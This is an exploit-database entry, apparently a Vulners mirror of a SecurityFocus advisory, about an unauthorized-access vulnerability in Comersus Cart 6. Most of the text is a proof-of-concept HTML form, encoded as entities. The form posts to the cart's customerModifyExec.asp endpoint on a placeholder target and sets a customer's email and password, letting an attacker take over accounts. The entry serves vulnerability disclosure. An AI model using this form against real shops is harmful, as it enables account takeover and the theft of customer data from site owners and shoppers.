Comersus Cart 6 User Email and User Password Unauthorized Access Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Comersus Cart 6 User Email and User Password Unauthorized Access Vulnerabilit

                                                source: http://www.securityfocus.com/bid/33217/info

Comersus Cart is prone to a vulnerability that can result in unauthorized access.

An attacker can exploit this issue to gain unauthorized access to the affected application. Successfully exploiting this issue may compromise the application.

Comersus Cart 6 is vulnerable; other versions may also be affected.

&#60;form method=&#34;post&#34; name=&#34;modCust&#34; action=&#34;http://target/[path]/comersus_customerModifyExec.asp&#34;&#62; &#60;table width=&#34;421&#34; border=&#34;0&#34;&#62; &#60;tr&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;Name&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=customerName value=&#34;test&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;Last Name&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=lastName value=&#34;test&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;Company&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=customerCompany value=&#34;test&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;Phone&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=phone value=&#34;123456789&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;&#60;strong&#62;Email&#60;/strong&#62;&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=&#34;text&#34; name=&#34;email&#34; value=&#34;Please Add Mail&#34;&#62; Edit &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;&#60;strong&#62;Password&#60;/strong&#62;&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=password value=&#34;Please Add Pass&#34;&#62; Edit &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;Address&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=address value=&#34;test&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;Zip&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=zip value=&#34;08050&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;State&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;SELECT name=stateCode size=1&#62; &#60;OPTION value=&#34;&#34;&#62;Select the state &#60;option value=&#34;1&#34;&#62;Please Type County below &#60;/OPTION&#62; &#60;/SELECT&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;Non listed state&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=state value=&#34;&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;City&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;input type=text name=city value=&#34;test&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;Country&#60;/td&#62; &#60;td width=&#34;220&#34;&#62; &#60;SELECT name=countryCode&#62; &#60;OPTION value=&#34;&#34;&#62;Select the country &#60;option value=&#34;AF&#34; selected&#62;AFGHANISTAN &#60;/OPTION&#62; &#60;/SELECT&#62; &#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td width=&#34;168&#34;&#62;&nbsp;&#60;/td&#62; &#60;td width=&#34;220&#34;&#62;&nbsp;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td colspan=&#34;2&#34;&#62; &#60;input type=&#34;submit&#34; name=&#34;Modify&#34; value=&#34;Modify&#34;&#62; &#60;/td&#62; &#60;/tr&#62; &#60;/table&#62; &#60;/form&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1